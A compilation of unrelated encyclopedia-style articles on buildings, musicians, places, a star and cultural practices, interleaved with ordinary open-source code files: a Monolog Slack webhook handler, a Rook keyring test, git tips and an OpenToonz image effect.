Rudar Pljevlja
Montenegrin First League: 2009–10, 2014–15
Montenegrin Cup: 2010, 2011, 2016
References
1984 births
Living people
Footballers from Podgorica
Men's association football midfielders
Serbia and Montenegro men's footballers
Montenegrin men's footballers
Montenegro men's international footballers
FK Kom players
FK Zora players
FK Budućnost Podgorica players
FK Rudar Pljevlja players
FK Radnik Surdulica players
OFK Titograd players
OFK Grbalj players
First League of Serbia and Montenegro players
Second League of Serbia and Montenegro players
Montenegrin First League players
Serbian SuperLiga players
Montenegrin Second League players
Montenegrin expatriate men's footballers
Expatriate men's footballers in Serbia
Montenegrin expatriate sportspeople in Serbia |
The Cass County Courthouse in Atlantic, Iowa, United States, was built in 1934 as the first courthouse in the state built with funding from the Public Works Administration (PWA). It was listed on the National Register of Historic Places in 2003 as a part of the PWA-Era County Courthouses of Iowa Multiple Properties Submission. The courthouse is the third structure to house court functions and county administration.
History
Cass County was organized in 1853. The first county commissioners met in Indiantown and chose a place called Lewis as the county seat where they used a two-story house for the courthouse. The Chicago, Rock Island and Pacific Railroad extended tracks to Atlantic and the town offered the county land for a new courthouse. In 1869, the county accepted Atlantic's offer and constructed a small frame building on the site. The building soon proved to be inadequate and the county rented the nearby Park House to provide additional space. In 1888, the county spent $50,000 to erect a new two-story brick and stone courthouse that featured a clock tower. It was destroyed by fire in March 1932.
Because of the Great Depression, the first referendum to build a new courthouse failed in the General Election of 1932. The following year President Franklin Delano Roosevelt began the PWA, and Cass County was the first of ten counties in Iowa to receive such funding. Voters passed the second referendum in 1933 and the county retained the Des Moines architectural firm of Dougher, Rich & Woodburn to design the new building. C.C. Larsen Co. of Council Bluffs, Iowa won the bid to construct the building and work began in March 1934. It was built for $119,000. The new building was dedicated on December 26, 1934, with Governor Clyde L. Herring as the main speaker.
Dougher, Rich & Woodburn was able to save three other Iowa counties money by providing a similar design for their county's new courthouse. Newspapers in Buchanan and Humboldt counties printed drawings that were nearly identical when they were planning to build new courthouses in the 1930s.
A two-bay garage of matching brick was built in the southwest corner of the square shortly after the courthouse was completed. Around 1984 a 1½-story addition was built onto the west side of the courthouse for a correctional facility.
Architecture
The architectural style of the building is known as Depression Modern or PWA Moderne. The building features a symmetrical façade with a central section flanked by two lower wings. The exterior is composed of buff-colored brick and Bedford limestone trim. It is three stories tall above a raised basement. On the interior, central corridors on each floor extend the length of the building, with the offices opening onto the corridors. The building features multi-colored terrazzo floors, marble wainscoting, and acoustic tiles. The three tall windows with decorative metal grills that extend from the second to the third floors of the main elevation mark the location of the courtroom, which was decorated in dark wood tones and Art Deco ornamentation. The exterior of the adjoining correctional facility is composed of similar colored brick as the courthouse, and it has no windows.
The building is located on the courthouse square to the south of the central business district, where the previous courthouse was also located. There are three other elements that are contributing properties on the courthouse's nomination to the National Register of Historic Places. The square itself is a contributing site, what is believed to be the original flagpole is a contributing object, and the two-bay garage is another contributing building
References
Government buildings completed in 1934
County courthouses in Iowa
PWA Moderne architecture in Iowa
Atlantic, Iowa
Buildings and structures in Cass County, Iowa
National Register of Historic Places in Cass County, Iowa
Courthouses on the National Register of Historic Places in Iowa
Public Works Administration in Iowa
1934 establishments in Iowa |
```php
<?php declare(strict_types=1);
/*
* This file is part of the Monolog package.
*
* (c) Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Monolog\Handler;
use Monolog\Formatter\FormatterInterface;
use Monolog\Logger;
use Monolog\Utils;
use Monolog\Handler\Slack\SlackRecord;
/**
* Sends notifications through Slack Webhooks
*
* @author Haralan Dobrev <hkdobrev@gmail.com>
* @see path_to_url
*/
class SlackWebhookHandler extends AbstractProcessingHandler
{
/**
* Slack Webhook token
* @var string
*/
private $webhookUrl;
/**
* Instance of the SlackRecord util class preparing data for Slack API.
* @var SlackRecord
*/
private $slackRecord;
/**
* @param string $webhookUrl Slack Webhook URL
* @param string|null $channel Slack channel (encoded ID or name)
* @param string|null $username Name of a bot
* @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise)
* @param string|null $iconEmoji The emoji name to use (or null)
* @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style
* @param bool $includeContextAndExtra Whether the attachment should include context and extra data
* @param string[] $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2']
*/
public function __construct(
string $webhookUrl,
?string $channel = null,
?string $username = null,
bool $useAttachment = true,
?string $iconEmoji = null,
bool $useShortAttachment = false,
bool $includeContextAndExtra = false,
$level = Logger::CRITICAL,
bool $bubble = true,
array $excludeFields = array()
) {
if (!extension_loaded('curl')) {
throw new MissingExtensionException('The curl extension is needed to use the SlackWebhookHandler');
}
parent::__construct($level, $bubble);
$this->webhookUrl = $webhookUrl;
$this->slackRecord = new SlackRecord(
$channel,
$username,
$useAttachment,
$iconEmoji,
$useShortAttachment,
$includeContextAndExtra,
$excludeFields
);
}
public function getSlackRecord(): SlackRecord
{
return $this->slackRecord;
}
public function getWebhookUrl(): string
{
return $this->webhookUrl;
}
/**
* {@inheritDoc}
*/
protected function write(array $record): void
{
$postData = $this->slackRecord->getSlackData($record);
$postString = Utils::jsonEncode($postData);
$ch = curl_init();
$options = array(
CURLOPT_URL => $this->webhookUrl,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => array('Content-type: application/json'),
CURLOPT_POSTFIELDS => $postString,
);
if (defined('CURLOPT_SAFE_UPLOAD')) {
$options[CURLOPT_SAFE_UPLOAD] = true;
}
curl_setopt_array($ch, $options);
Curl\Util::execute($ch);
}
public function setFormatter(FormatterInterface $formatter): HandlerInterface
{
parent::setFormatter($formatter);
$this->slackRecord->setFormatter($formatter);
return $this;
}
public function getFormatter(): FormatterInterface
{
$formatter = parent::getFormatter();
$this->slackRecord->setFormatter($formatter);
return $formatter;
}
}
``` |
The Fabulous Hurricanes (formerly The Hurricanes) are a rhythm & blues group originally from Edinburgh, now based in London. The band, currently a four-piece consists of a drummer, James Adam; bassist, Triss Duncan, guitarist, Luke Ballard, and keyboardist, Ed Cox; with three members of the group — Cox, Duncan, and Ballard — singing. The band plays 1950s rock and roll and 1960s rhythm and blues with a modern twist covering various artists including Ray Charles, Dr. Feelgood, Jerry Lee Lewis, Stevie Wonder, The Coasters and Muddy Waters.
Progression
After all meeting at school in 2004, the group began performing around Scotland, building up a following. What followed was national radio plays on XFM Scotland (now known as Capital Scotland) and BBC Radio Scotland. Articles about the band have appeared in The List, Edinburgh Festival Magazine, Edinburgh Evening News, The Scotsman and The Skinny. In 2007 and 2008, The Fabulous Hurricanes played a string of shows most notably supporting Neils Children and Bombay Bicycle Club, and they were voted number 4 on the list of 'Scotland's Best Unsigned Bands' by The Scotsman. In 2008, the band were sent a letter by Paul McCartney inviting them to his Liverpool concert after he heard their music, and in 2010 the band performed with Kitty Daisy & Lewis to a sold-out crowd in Edinburgh.
Membership Timeline
The band was originally composed of four members. James Adam played the drums, and Will Blow played the bass and was lead vocalist. Ed Cox performed the keyboard and sung backing vocals. Sholto Dobie played the guitar.
References
External links
The Fabulous Hurricanes on SoundCloud
The Fabulous Hurricanes on YouTube
Scottish rock music groups
British rhythm and blues musical groups |
MCB Islamic Bank is a Pakistani Islamic bank which is a subsidiary of MCB Bank. It was established in 14 September 2015.
In 2015, MIB was established as a demerger from MCB and NIB Bank for .
References
Nishat Group
Banks established in 2015
Islamic banks of Pakistan
Companies based in Lahore
Pakistani companies established in 2015 |
Bridlington Town Hall is a municipal building in Quay Road, Bridlington, East Riding of Yorkshire, England. The town hall, which was the meeting place of Bridlington Borough Council, is a Grade II listed building.
History
In the late 19th century meetings of Bridlington Brough Council were held in the courtroom on the first floor of the Bayle Gate. After civic leaders found this arrangement inadequate, they acquired a private house in Quay Road known as the "White Lodge" which had been owned by the Lamplugh family and built in the 1830s: the house served as the council's municipal building until the early 1930s when it was demolished to make way for the new town hall.
The foundation stone for the new building was laid by the mayor, Alderman H. Harker, on 24 September 1931. It was designed by the borough surveyor, Percy Maurice Newton, in the neoclassical style and was officially opened by the mayor, Councillor J. A. Dew on 13 May 1932. The design involved a symmetrical main frontage with fifteen bays facing the corner of Quay Road and Station Avenue with the end bays slightly projected forward; the central section of five bays, which also slightly projected forward, featured a full-height tetrastyle portico with a doorway on the ground floor and a balcony and French doors on the first floor flanked by four Corinthian order columns supporting an open pediment containing the town's coat of arms. There was a three-stage cupola with a clock and a dome, modelled on a similar structure at the Royal Hospital Chelsea, at roof level. Internally, the principal rooms were the council chamber on the ground floor in the south wing and the ballroom on the ground floor in the north wing as well as the mayor's parlour.
The town was the headquarters of Bridlington Borough Council for much of the 20th century but ceased to be the local seat of government when North Wolds District Council was formed in 1974. The council chamber was the venue for the public inquiry in 2003 into the possible creation of a marina for the town, which would have included a conference centre, luxury flats, retail developments and a yacht club as well as berths for 500 yachts: the inquiry recommended that the scheme should not proceed because of environmental concerns. The concept was resurrected when plans for a smaller scheme, with berths for just 250 yachts, were unveiled in November 2015.
In November 2016 the council announced a programme of works to convert the council chamber into a flexible space for meetings and to convert the ballroom into a new hub for job seekers. The changes would facilitate the relocation of the existing jobcentre in Crown Buildings, located just to the northwest of the building, into the town hall. The works, which were carried out by Houlton of Kingston upon Hull at a cost of £3 million, were completed in October 2020. The offices on the first floor, which are occupied by staff from various departments of East Riding of Yorkshire Council, were unaffected by the changes.
References
Government buildings completed in 1932
City and town halls in the East Riding of Yorkshire
Bridlington
Grade II listed buildings in the East Riding of Yorkshire |
A Time to Remember is the 2009 double album recording of the show by the same name, by The Dubliners, recorded in Vienna. First performed in Vicar Street, Dublin on 4 July 2009 and later taken on tour around Europe, it was conceived as a tribute to their deceased members. The show features the group playing along live to video and audio performances featuring former members Ciarán Bourke, Luke Kelly and Ronnie Drew, as well as performances from The Dubliners' then current lineup. This is the last Dubliner's release featuring Barney McKenna, as he died in 2012. This also means that it is the last album to feature a founding member, as following McKenna's death none of the founding members of the band are still alive.
Track list
Disc 1:
"Introduction"
"Fermoy Lassies/Sporting Paddy"
"The Banks Of The Roses"
"The Ferryman"
"Three Score And Ten"
"The Belfast Hornpipe/The Swallow’s Tail"
"For What Died The Sons Of Róisín"
"Maids When You’re Young"
"The Nightingale"
"Luke’s Gravestone"
"Kelly the Boy from Killanne"
"The Black Velvet Band"
"The Town I Loved So Well"
"Cooley’s Reel/The Dawn/The Mullingar Races"
"The Auld Triangle"
Disc 2:
"All For Me Grog"
"Remembering Ciarán"
"Preab San Ól"
"Peggy Lettermore"
"St. Patrick’s Cathedral"
"I Wish I Had Someone To Love Me"
"Ronnie’s Heaven"
"McAlpine's Fusiliers"
"Fáinne Geal An Lae"
"Finnegan's Wake"
"The Marino Waltz"
"Dirty Old Town"
"Whiskey In The Jar"
"The Wild Rover"
"Molly Malone"
The Dubliners live albums
2009 live albums |
Springvale Airport, Queensland is an airport near Springvale, Queensland.
See also
List of airports in Queensland
References
External links
Springvale Airport on TheAirDB
Airports in Queensland
Central West Queensland |
Friston Windmill is a Grade II* listed post mill at Friston, Suffolk, England which has been conserved.
History
Friston Windmill was moved from Woodbridge by Collins, the Melton millwright in 1812 and erected on land purchased by William and Mary Scarlett. They sold the mill to Joseph Collings in 1812. The mill was worked by several different millers until 1837 when it was purchased by Joshua Reynolds from Knodishall. The mill passed to Caleb Reynolds Wright in 1883 and to his son Caleb Reynolds Wright Jr. in 1924. A pair of sails was removed in 1943 and not replaced due to the shortage of timber. The mill worked on two sails until 1956 and then by a diesel engine until 1964.
In 1965, permission was granted for the demolition of the mill but this was not carried out. Due to changes in planning law, permission had to be sought again in 1968. Villagers were divided as to whether the mill should be kept or demolished and there was much debate in the local newspapers. A millwright was asked to inspect the mill and the decision was deferred for a month. The millwrights’ report showed that the mill was structurally sound and it was agreed in principle that the mill should be moved to the East Anglian Rural Life Museum at Stowmarket, where plans for the museum included a windmill. Meanwhile, money was raised locally and repairs started on the mill in 1971. Permission for demolition was rescinded and on the death of the last miller in 1972 a new owner bought the mill with the intention of preserving it. In 1977, the body of the mill was restored by Messrs Jameson Marshall, millwrights.
In 2003, English Heritage gave a grant covering 20% of the cost of repairs which then needed doing to the mill. In 2004, it was announced that a steel framework was to be erected around the mill in order to allow work on the trestle and body of the mill.
Description
Friston Windmill is a tall post mill with a roundhouse. It had four Patent sails and was winded by a fantail carried on the rear steps in the Suffolk style. The mill is high, making it the tallest surviving post mill in the United Kingdom. The mill has been preserved but the three pairs of millstones have been removed. The mill had two pairs of millstones in the breast and one pair in the tail.
Millers
William and Mary Scarlett 1812
Joseph Collings 1812 –
Robert Reynolds 1850s
John Reynolds 1850s
Joshua Reynolds 1850s – 1883
Caleb Reynolds Wright 1883 – 1924
Caleb Reynolds Wright Jr. 1924 – 1964
Reference for above:-
References
External links
Windmill World webpage on Friston mill.
Windmills in Suffolk
Post mills in the United Kingdom
Grade II* listed buildings in Suffolk
Windmills completed in 1812
Grinding mills in the United Kingdom
Suffolk Coastal
Grade II* listed windmills |
Bara is a census town in the Gaighata CD block in the Bangaon subdivision of North 24 Parganas district in the state of West Bengal, India.
Geography
Bangaon subdivision has 6 police stations including 1 women PS, 3 Community development blocks, 3 panchayat samitis, 38 gram panchayats, 363 mouzas, 355 inhabited villages, 1 municipality and 7 census towns. The municipality is at Bangaon. The census towns are: Chandpara, Chhekati, Sonatikiri, Dhakuria, Chikanpara, Shimulpur and Bara. The subdivision has its headquarters at Bangaon.
Location
Bara is located at .
Area overview
The area shown in the map was a part of Jessore district from 1883. At the time of Partition of Bengal (1947) the Radcliffe Line placed the police station areas of Bangaon and Gaighata of Jessore district in India and the area was made a part of 24 Parganas district. The renowned novelist, Bibhutibhushan Bandopadhyay (of Pather Panchali fame) belonged to this area and many of his writings portray his experience in the area. It is a flat plain located in the lower Ganges Delta. In the densely populated area, 16.33% of the population lives in the urban areas and 83.67% lives in the rural areas.
Note: The map alongside presents some of the notable locations in the subdivision. All places marked in the map are linked in the larger full screen map.
Demographics
According to the 2011 Census of India, Bara had a total population of 5,172, of which 2,643 (51%) were males and 2,529 (49%) were females. Population in the age range 0–6 years was 446. The total number of literate persons in Bara was 4,087 (86.48% of the population over 6 years).
Infrastructure
According to the District Census Handbook, North Twenty Four Parganas, 2011, Bara covered an area of 1.736 km2. It had 4 km roads. The protected water-supply involved hand pumps. It had 3,654 domestic electric connections. Among the medical facilities it had 1 TB hospital, 1 medicine shop. Among the educational facilities, it had 2 primary schools, 1 middle school, 1 secondary school and 1 higher secondary school. The nearest college was 5 km away at Thakurnagar.
References
Cities and towns in North 24 Parganas district |
HD 142250 (HR 5910, HIP 77900) is a star in the constellation Scorpius. It has a visual apparent magnitude of 6.1, being visible to the naked eye only in excellent seeing conditions. From parallax measurements, it is located 486 light-years (149 parsecs) away from Earth. This distance, together with the star's proper motion, indicate that HIP 77900 is a member of the Upper Scorpius subgroup of the Scorpius–Centaurus association, the nearest OB association to the Sun. This subgroup is the youngest of the three of the association, with an estimated age of 11 million years.
This is a B-type main-sequence star with a spectral type of B6Vp and a mass estimated at 3.7 times the solar mass. HIP 77900 is a helium-weak chemically peculiar star, and has a magnetic field and a slow rate of rotation, with a projected rotational velocity (v sin i) of 34 km/s. Its photosphere is radiating light with a luminosity 220 times greater the Sun's at an effective temperature of 13,600 K.
Stars in young stellar associations are frequent targets for direct imaging searches for sub-stellar objects, because these objects lose luminosity with time. A 2013 article, using data from the Pan-STARRS and UKIDSS surveys and follow up observations with the IRTF telescope, presented the discovery of an object of spectral type M9 and effective temperature of 2400 ± 150 K separated from HIP 77900 by 21.8 arcseconds, or more than 3200 ± 300 AU at the system's distance. Its mass, estimated from evolutionary models and assuming an age of 10 million years, is 20 Jupiter masses, so the object is probably a low mass brown dwarf. The physical association between the two bodies has not been confirmed through common proper motion observation, but is considered likely given the proximity of the two objects in the sky and that the probable brown dwarf shows signs of youth.
References
Scorpius
B-type main-sequence stars
Brown dwarfs
Upper Scorpius
Durchmusterung objects
077900
142250
5910
Helium-weak stars |
```go
/*
path_to_url
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package keyring
import (
"context"
"path"
"testing"
"github.com/pkg/errors"
"github.com/rook/rook/pkg/clusterd"
cephclient "github.com/rook/rook/pkg/daemon/ceph/client"
"github.com/rook/rook/pkg/operator/k8sutil"
testop "github.com/rook/rook/pkg/operator/test"
exectest "github.com/rook/rook/pkg/util/exec/test"
"github.com/stretchr/testify/assert"
kerrors "k8s.io/apimachinery/pkg/api/errors"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)
func TestGenerateKey(t *testing.T) {
clientset := testop.New(t, 1)
var generateKey = ""
var failGenerateKey = false
executor := &exectest.MockExecutor{
MockExecuteCommandWithOutput: func(command string, args ...string) (string, error) {
if failGenerateKey {
return "", errors.New("test error")
}
return "{\"key\": \"" + generateKey + "\"}", nil
},
}
ctx := &clusterd.Context{
Clientset: clientset,
Executor: executor,
}
ns := "rook-ceph"
ownerInfo := k8sutil.OwnerInfo{}
s := GetSecretStore(ctx, cephclient.AdminTestClusterInfo(ns), &ownerInfo)
generateKey = "generatedsecretkey"
failGenerateKey = false
k, e := s.GenerateKey("testuser", []string{"test", "access"})
assert.NoError(t, e)
assert.Equal(t, "generatedsecretkey", k)
generateKey = "differentsecretkey"
failGenerateKey = false
k, e = s.GenerateKey("testuser", []string{"test", "access"})
assert.NoError(t, e)
assert.Equal(t, "differentsecretkey", k)
// make sure error on fail
generateKey = "failgeneratekey"
failGenerateKey = true
_, e = s.GenerateKey("newuser", []string{"new", "access"})
assert.Error(t, e)
}
func TestKeyringStore(t *testing.T) {
ctxt := context.TODO()
clientset := testop.New(t, 1)
ctx := &clusterd.Context{
Clientset: clientset,
}
ownerInfo := cephclient.NewMinimumOwnerInfoWithOwnerRef()
ns := "rook-ceph"
k := GetSecretStore(ctx, &cephclient.ClusterInfo{Namespace: ns}, ownerInfo)
assertKeyringData := func(keyringName, expectedKeyring string) {
s, e := clientset.CoreV1().Secrets(ns).Get(ctxt, keyringName, metav1.GetOptions{})
assert.NoError(t, e)
assert.Equal(t, 1, len(s.StringData))
assert.Equal(t, expectedKeyring, s.StringData["keyring"])
assert.Equal(t, k8sutil.RookType, string(s.Type))
}
assertDoesNotExist := func(keyringName string) {
_, e := clientset.CoreV1().Secrets(ns).Get(ctxt, keyringName, metav1.GetOptions{})
assert.True(t, kerrors.IsNotFound(e))
}
// create first key
err := k.CreateOrUpdate("test-resource", "qwertyuiop")
assert.NoError(t, err)
assertKeyringData("test-resource-keyring", "qwertyuiop")
// create second key
err = k.CreateOrUpdate("second-resource", "asdfghjkl")
assert.NoError(t, err)
assertKeyringData("test-resource-keyring", "qwertyuiop")
assertKeyringData("second-resource-keyring", "asdfghjkl")
// update a key
err = k.CreateOrUpdate("second-resource", "lkjhgfdsa")
assert.NoError(t, err)
assertKeyringData("test-resource-keyring", "qwertyuiop")
assertKeyringData("second-resource-keyring", "lkjhgfdsa")
// delete a key
err = k.Delete("test-resource")
assert.NoError(t, err)
assertDoesNotExist("test-resource-keyring")
assertKeyringData("second-resource-keyring", "lkjhgfdsa")
}
func TestResourceVolumeAndMount(t *testing.T) {
clientset := testop.New(t, 1)
ctx := &clusterd.Context{
Clientset: clientset,
}
ownerInfo := cephclient.NewMinimumOwnerInfoWithOwnerRef()
k := GetSecretStore(ctx, &cephclient.ClusterInfo{Namespace: "ns"}, ownerInfo)
err := k.CreateOrUpdate("test-resource", "qwertyuiop")
assert.NoError(t, err)
err = k.CreateOrUpdate("second-resource", "asdfgyhujkl")
assert.NoError(t, err)
v := Volume().Resource("test-resource")
m := VolumeMount().Resource("test-resource")
// Test that the secret will make it into containers with the appropriate filename at the
// location where it is expected.
assert.Equal(t, v.Name, m.Name)
assert.Equal(t, "test-resource-keyring", v.VolumeSource.Secret.SecretName)
assert.Equal(t, VolumeMount().KeyringFilePath(), path.Join(m.MountPath, keyringFileName))
}
``` |
Jack L. Pauley (born November 30, 1938) is an American politician. He served as a Democratic member of the West Virginia House of Delegates.
Life and career
Pauley attended Morris Harvey College and Marshall University.
Pauley was a teacher.
In 1964, Pauley was elected to the West Virginia House of Delegates.
References
1938 births
Living people
Democratic Party members of the West Virginia House of Delegates
20th-century American politicians
University of Charleston alumni
Marshall University alumni |
"January February" is a song by Scottish singer Barbara Dickson released on 25 January 1980 by Epic Records. It peaked at #11 on the UK Singles Chart the week ending 12 April 1980, spending 10 weeks on the chart. It also made the Top 20 in the German and South African charts and 64 in Australia.
The song signalled a new direction in her career, moving into the mainstream pop genre. It was written and produced by Alan Tarney who had recently resurrected Cliff Richard's career with his 1979 no.1 hit "We Don't Talk Anymore". Guitar on the song was played by Issac Guillory who also appeared on the music video and helped promote the song on TV.
Mary Roos recorded a German version of the single entitled "Wenn Ich Dich Nicht Halten Kann" ("If I Cannot Hold You").
References
1980 songs
1980 singles
Barbara Dickson songs
Songs written by Alan Tarney
Song recordings produced by Alan Tarney
Epic Records singles |
Prem Qaidi (Prisoner of Love) is 1991 Indian Hindi-language musical film written by and directed by K. Murali Mohana Rao. The film stars Karisma Kapoor (in her debut), Harish Kumar, Paresh Rawal, Dalip Tahil, Asrani, Shafi Inamdar and Bharat Bhushan. The film was a remake of the 1990 Telugu film Prema Khaidi.
Background
The film was a remake of the 1990 Telugu film Prema Khaidi, by E. V. V. Satyanarayana, and marked the feature film debut of actress Karishma Kapoor, as the first female star from the Kapoor family allowed to enter the film industry. Karishma Kapoor was only 16 when acting in this film, which was how she made her debut, while her co star Harish Kumar was only 15.
Plot
In bad fortune, while saving his employer Kasturi Prasad's (Dalip Tahil) life, Suryanath (Bharat Bhushan) loses his legs. In appreciation, Kasturi allows Chandramohan (Harish Kumar), Suryanath's son, to work in his home. Kasturi's daughter Neelima (Karisma Kapoor) initially makes fun of and teases Chandra, but soon falls in love with him. Kasturi is against this affair and sends henchmen to attack Chandra, which results in their murdering Suryanath during the melee. Young Chandra is convicted of the crime and is sent to a youth detention center as a punishment. The head jailer tortures Chandra, but center Superintendent Prabhavati (Rama Vij) understands his emotions and love for Neelima and intercedes. She tries to reunite the two lovers.
Cast
Soundtrack
References
External links
1990s Hindi-language films
Indian romantic drama films
Films scored by Anand–Milind
Indian prison films
Films set in prison
Hindi remakes of Telugu films
1991 romantic drama films
1991 films
Suresh Productions films |
George Livingston Robinson (August 19, 1863 – July 18, 1958) was a noted author, biblical scholar, explorer, and lecturer.
He was born in West Hebron, New York to William Robinson and Mary (Archibald) Robinson. He earned his undergraduate and an advanced degree at Princeton University. He traveled to Europe and the Levant extensively. He met his wife, Jessie Harvey, and was married in Egypt. He received his doctorate in Ancient languages at Berlin University. He accepted instructor positions at Knox College, Toronto and the Syrian Protestant College in Beirut. While working as the Director of the School of Oriental Research in Jerusalem (1913–1914), he had an opportunity to explore many ancient sites in the Holy Land. He was credited with recognizing the religious significance of the High Place at Petra, an Iron Age sacrificial altar dating to biblical times. He was also one of a select few Western scholars to be granted permission by the Caliph to visit the Cave of Macpelah (where Abraham, Isaac, and Jacob are reputed to have been buried).
He spent the majority of his teaching career as a professor at McCormick Theological Seminary. He was fluent in Latin, German, Hebrew, Classic Greek, and Assyrian cuneiform. He composed and published the psalm "Reflections". His published books include The Sarcaphocus of Ancient Civilization (MacMillan, 1930), Leaders of Israel, The Book of Isaiah, The Twelve Minor Prophets, and The Autobiography of George L Robinson, A Short History of a Long Life in addition to hundreds of essays, monographs, and research publications.
He died in Saint Paul, Minnesota on July 18, 1958.
References
American biblical scholars
1863 births
1958 deaths
Princeton University alumni
People from Hebron, New York
Writers from Saint Paul, Minnesota |
When rapping, MCs use braggadocio to boast—to speak about themselves with great pride. Braggadocio may include subjects such as physicality, fighting ability, financial riches,
sexual prowess, or "coolness". Often heavily used in battle rap, braggadocio lyrics can range from just saying, "I'm the best MC ever," to using elaborate phraseology and wit.
Early years
Competition from the old-school hip hop ethic partially explains why braggadocio is used in rap—"my shit is better than yours and that's the bottom line," said MC Esoteric. Gangsta rap helped develop the idea of a "larger-than-life" persona, sometimes to a comedic extreme; however, reading braggadocio literally and seeing it as integral to rap may suppress vulnerability, i.e. an artist's ability to connect emotionally. Braggadocio may also reflect young black men's relief with being given an audience—rapper Murs said, "when you get the microphone, you want to pump yourself up."
Common subjects of braggadocio
Wealth
According to Pitchfork, "the accumulation of wealth and aspirational living are central themes in rap because, of course, it's the music of America's marginalized communities". It cites examples including Wu-Tang Clan's "C.R.E.A.M." and Eric B. & Rakim's "Paid in Full".
Status symbols
Material goods a status symbols are a common topic for rap braggadocio. Frequently cited items include high-end cars, designer fashion, jewellery (sometimes called bling), and alcoholic drinks like Cristal champagne and Hennessy. In 50 Cent's "P.I.M.P.", he brags about his material status symbols, such as his luxury car, the souped-up tires on said car, and his jewelry:
Self-aggrandizement
However, other rappers have criticized this materialistic form of braggadocio. MF DOOM, for instance, was prolific in his rejection of gangsta rap's perceived materialism in his braggadocio. He bragged precisely because he did not need status symbols to boast. In the song "Figaro" on his magnum opus Madvillainy, begins his rap with the affirmation of transcendence of materialism:
Rap's braggadocio need not be focused on material wealth. It can be self-referential and focus the rapper's artistic or poetic ability. Paul Edwards's book How to Rap cited a short but complex example of braggadocio by Eric B. and Rakim: Calling himself Alpha, the first letter of the Greek alphabet, then saying "no Omega" (the last letter), Rakim is suggesting that his flow could last forever—that he starts without ever stopping.
Etymology
The term did not originate as a rap term; its origins are much older. The term originated in the late 16th century and denotes a boaster. It is from Braggadocchio, the name of a braggart in Spenser's The Faerie Queene. It is a composite of the word brag or braggart, and the Italian suffix , denoting something large of its kind.
See also
Bling-bling
References
Bibliography
Rapping |
```shell
Interactively unstage changes
Check the reflog
Specify a commit by its ancestry
Useful stashing options
Sign your work (using GPG)
``` |
Erigeron canaani is a rare species of flowering plant in the family Asteraceae known by the common name Abajo fleabane. It has been found only in southern Utah, in sandy soil and in cracks on cliff faces in Washington, Kane, and San Juan Counties.
Erigeron canaani is a perennial herb up to 30 cm (12 inches) tall, producing a taproot. One plant can produce several flower heads, sometimes one per branch, sometimes in groups of 2 or 3. Each head has 15–22 white or purpleray florets, plus numerous small yellow disc florets.
The species is named for Canaan Mountain south of Zion National Park. The common name "Abajo fleabane" refers to the Abajo Mountains south of Canyonlands National Park.
References
canaani
Flora of Utah
Plants described in 1983
Flora without expected TNC conservation status |
The Kunming Challenger is a tennis tournament held in Kunming, China since 2013. The event is part of the ATP Challenger Tour and is played on hard courts.
Past finals
Singles
Doubles
References
External links
ATP Challenger Tour
Tennis tournaments in China
Hard court tennis tournaments |
Stimulant maintenance is the medical practice of prescribing stimulant substances such as cocaine or amphetamines to people who are dependent on these drugs. Supporters of stimulant maintenance believe that prescription offers legal alternatives to people who would otherwise be purchasing impure drugs in unknown potency and concentration, unnecessarily risking their health and supporting an illegal market that fuels organized crime. Pharmaceutical Dexedrine is being tried as drug replacement therapy for cocaine as well. There has been success in Australia and England.
References
Drug rehabilitation
Substance dependence |
Sanankuya (also sanankou(n)ya, sinankun, senenkun, senankuya) refers to a social characteristic present especially among the Manding peoples as well as many West African societies in general, often described in English with terms such as "cousinage" or "joking relationship".
In addition to sanankuya relationships that are pre-established between certain ethnic or professional clans, a sanankuya relationship can also be established between any two willing participants who have "broken the ice". Those in a sanankuya relationship may treat one another as if cousins or close family members with whom familiar jokes or humorous insults are exchanged. It is considered an essential element of Mande/West African society. Sanankuya was reputedly ordained as a civic duty in the Kurukan Fuga, the oral constitution of the Mali Empire, by Sundiata Keita in c. 1236.
This complex and longstanding custom in West African society is thought to survive in African-American culture in such cultural practices as "the Dozens," or trading warm insults. In addition, the custom of non-blood relatives according each other the status of familial relationships ("play" aunts, cousins, etc.) may be derived from this custom.
The Traoré and Koné clans each maintain a sanankuya relationship with the others' members. One of their biggest running jokes is that each clan will accuse the other of loving to eat beans the most.
See also
Fadenya
References
Mandé people
Malian culture
Gambian culture
West African culture
Burkinabé culture
African-American cultural history
Sociology of culture
Social concepts |
```c++
#include "trop.h"
#include "tfxparam.h"
#include "texception.h"
#include "stdfx.h"
#include "globalcontrollablefx.h"
//===================================================================
class RGBMScaleFx final : public GlobalControllableFx {
FX_PLUGIN_DECLARATION(RGBMScaleFx)
TRasterFxPort m_input;
TDoubleParamP m_red;
TDoubleParamP m_green;
TDoubleParamP m_blue;
TDoubleParamP m_matte;
public:
RGBMScaleFx() : m_red(100.0), m_green(100.0), m_blue(100.0), m_matte(100.0) {
bindParam(this, "red", m_red);
bindParam(this, "green", m_green);
bindParam(this, "blue", m_blue);
bindParam(this, "matte", m_matte);
m_red->setValueRange(0, (std::numeric_limits<double>::max)());
m_green->setValueRange(0, (std::numeric_limits<double>::max)());
m_blue->setValueRange(0, (std::numeric_limits<double>::max)());
m_matte->setValueRange(0, (std::numeric_limits<double>::max)());
addInputPort("Source", m_input);
}
~RGBMScaleFx(){};
bool doGetBBox(double frame, TRectD &bBox,
const TRenderSettings &info) override {
if (m_input.isConnected())
return m_input->doGetBBox(frame, bBox, info);
else {
bBox = TRectD();
return false;
}
}
void doCompute(TTile &tile, double frame, const TRenderSettings &ri) override;
bool canHandle(const TRenderSettings &info, double frame) override {
return true;
}
};
//your_sha256_hash--------------
void RGBMScaleFx::doCompute(TTile &tile, double frame,
const TRenderSettings &ri) {
if (!m_input.isConnected()) return;
m_input->compute(tile, frame, ri);
double red = m_red->getValue(frame) / 100;
double green = m_green->getValue(frame) / 100;
double blue = m_blue->getValue(frame) / 100;
double matte = m_matte->getValue(frame) / 100;
// TRaster32P raster32 = tile.getRaster();
// assert(raster32); // per ora gestisco solo i Raster32
TRop::rgbmScale(tile.getRaster(), tile.getRaster(), red, green, blue, matte);
}
